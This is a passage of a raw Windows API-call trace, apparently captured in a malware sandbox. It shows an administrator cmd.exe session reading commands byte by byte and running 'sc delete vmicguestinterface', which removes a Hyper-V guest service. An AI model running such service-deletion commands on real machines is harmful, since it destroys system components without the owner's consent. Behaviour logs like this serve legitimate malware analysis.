lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="eexchange\n") returned 1 [0062.733] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.733] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.733] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.733] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="sxchange\n") returned 1 [0062.733] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.733] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.733] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.733] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="tchange\n") returned 1 [0062.733] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.733] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.733] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.733] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="ihange\n") returned 1 [0062.733] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.733] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.733] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.733] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="nange\n") returned 1 [0062.733] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.733] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.733] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.733] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="tnge\n") returned 1 [0062.733] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.733] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.734] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.734] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="ege\n") returned 1 [0062.734] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.734] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.734] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.734] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34e, cchWideChar=1 | out: lpWideCharStr="re\n") returned 1 [0062.734] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.734] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.734] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.734] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e350, cchWideChar=1 | out: lpWideCharStr="f\n") returned 1 [0062.734] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.734] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.734] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.734] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0062.734] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.734] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.734] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.734] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e354, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0062.734] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.734] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.734] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.735] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e356, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0062.735] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.735] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.735] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.735] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e358, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0062.735] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.735] GetFileType (hFile=0xb8) returned 0x3 [0062.735] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.735] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.735] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.735] GetFileType (hFile=0x120) returned 0x3 [0062.735] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.735] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete vmicguestinterface\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete vmicguestinterface\n", lpUsedDefaultChar=0x0) returned 30 [0062.735] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x1d, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x1d, lpOverlapped=0x0) returned 1 [0062.735] GetProcessHeap () returned 0x1b0000 [0062.735] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d0630 [0062.736] GetProcessHeap () returned 0x1b0000 [0062.736] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d0630 | out: hHeap=0x1b0000) returned 1 [0062.736] GetProcessHeap () returned 0x1b0000 [0062.736] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1c97e0 [0062.736] GetProcessHeap () returned 0x1b0000 [0062.736] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c8900 [0062.737] GetProcessHeap () returned 0x1b0000 [0062.737] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x46) returned 0x1caa40 [0062.737] GetConsoleOutputCP () returned 0x1b5 [0062.737] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0062.737] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0062.737] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0062.737] GetProcessHeap () returned 0x1b0000 [0062.737] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0062.737] GetProcessHeap () returned 0x1b0000 [0062.737] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4c) returned 0x1c5c50 [0062.737] GetProcessHeap () returned 0x1b0000 [0062.737] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1c8980 [0062.737] SetErrorMode (uMode=0x0) returned 0x1 [0062.737] SetErrorMode (uMode=0x1) returned 0x0 [0062.738] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1c8990, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0062.738] SetErrorMode (uMode=0x1) returned 0x1 [0062.738] GetProcessHeap () returned 0x1b0000 [0062.738] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c8980, Size=0x62) returned 0x1c8980 [0062.738] GetProcessHeap () returned 0x1b0000 [0062.738] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c8980) returned 0x62 [0062.738] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0062.738] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0062.738] GetProcessHeap () returned 0x1b0000 [0062.738] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c9db0 [0062.738] GetProcessHeap () returned 0x1b0000 [0062.738] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0062.738] GetProcessHeap () returned 0x1b0000 [0062.738] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0062.738] GetProcessHeap () returned 0x1b0000 [0062.738] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0062.738] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0062.738] GetProcessHeap () returned 0x1b0000 [0062.738] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0062.738] GetProcessHeap () returned 0x1b0000 [0062.738] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0062.738] GetProcessHeap () returned 0x1b0000 [0062.738] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0062.738] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0062.738] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0062.739] GetLastError () returned 0x2 [0062.739] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0062.739] GetLastError () returned 0x2 [0062.739] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0062.739] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0062.739] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0062.739] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0062.739] GetLastError () returned 0x2 [0062.739] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0062.739] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0062.739] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0062.739] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0062.739] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0062.740] GetProcessHeap () returned 0x1b0000 [0062.740] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c8a00 [0062.740] GetConsoleTitleW (in: lpConsoleTitle=0x1c8a10, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0062.740] GetProcessHeap () returned 0x1b0000 [0062.740] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c8a00, Size=0xb2) returned 0x1c8a00 [0062.740] GetProcessHeap () returned 0x1b0000 [0062.740] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c8a00) returned 0xb2 [0062.740] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete vmicguestinterface") returned 1 [0062.740] GetProcessHeap () returned 0x1b0000 [0062.740] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c8a00 | out: hHeap=0x1b0000) returned 1 [0062.740] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0062.740] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0062.740] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0062.740] GetProcessHeap () returned 0x1b0000 [0062.740] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0062.741] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0062.742] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0062.742] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0062.742] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0062.742] GetProcessHeap () returned 0x1b0000 [0062.742] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0062.742] GetProcessHeap () returned 0x1b0000 [0062.742] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c5cb0 [0062.742] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete vmicguestinterface", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete vmicguestinterface", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete vmicguestinterface", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0x4fc, dwThreadId=0x7c8)) returned 1 [0062.745] CloseHandle (hObject=0x54) returned 1 [0062.745] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0062.745] GetProcessHeap () returned 0x1b0000 [0062.745] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cfb10 | out: hHeap=0x1b0000) returned 1 [0062.745] GetEnvironmentStringsW () returned 0x1c8a00* [0062.745] GetProcessHeap () returned 0x1b0000 [0062.745] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0062.745] FreeEnvironmentStringsW (penv=0x1c8a00) returned 1 [0062.745] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0062.745] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd7000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0062.745] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0062.821] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0062.821] CloseHandle (hObject=0x50) returned 1 [0062.821] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0062.821] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0062.821] GetProcessHeap () returned 0x1b0000 [0062.821] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0062.821] GetEnvironmentStringsW () returned 0x1c8a00* [0062.822] GetProcessHeap () returned 0x1b0000 [0062.822] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0062.822] FreeEnvironmentStringsW (penv=0x1c8a00) returned 1 [0062.822] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0062.822] GetProcessHeap () returned 0x1b0000 [0062.822] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0062.822] GetEnvironmentStringsW () returned 0x1c8a00* [0062.822] GetProcessHeap () returned 0x1b0000 [0062.822] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0062.822] FreeEnvironmentStringsW (penv=0x1c8a00) returned 1 [0062.822] GetProcessHeap () returned 0x1b0000 [0062.822] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5cb0 | out: hHeap=0x1b0000) returned 1 [0062.822] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0062.822] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0062.823] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.823] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0062.823] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.823] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0062.823] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.823] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0062.823] GetConsoleOutputCP () returned 0x1b5 [0062.823] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0062.823] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0062.824] GetProcessHeap () returned 0x1b0000 [0062.824] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0062.824] GetProcessHeap () returned 0x1b0000 [0062.824] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0062.824] GetProcessHeap () returned 0x1b0000 [0062.824] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9db0 | out: hHeap=0x1b0000) returned 1 [0062.824] GetProcessHeap () returned 0x1b0000 [0062.824] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c8980 | out: hHeap=0x1b0000) returned 1 [0062.824] GetProcessHeap () returned 0x1b0000 [0062.824] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5c50 | out: hHeap=0x1b0000) returned 1 [0062.824] GetProcessHeap () returned 0x1b0000 [0062.824] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0062.824] 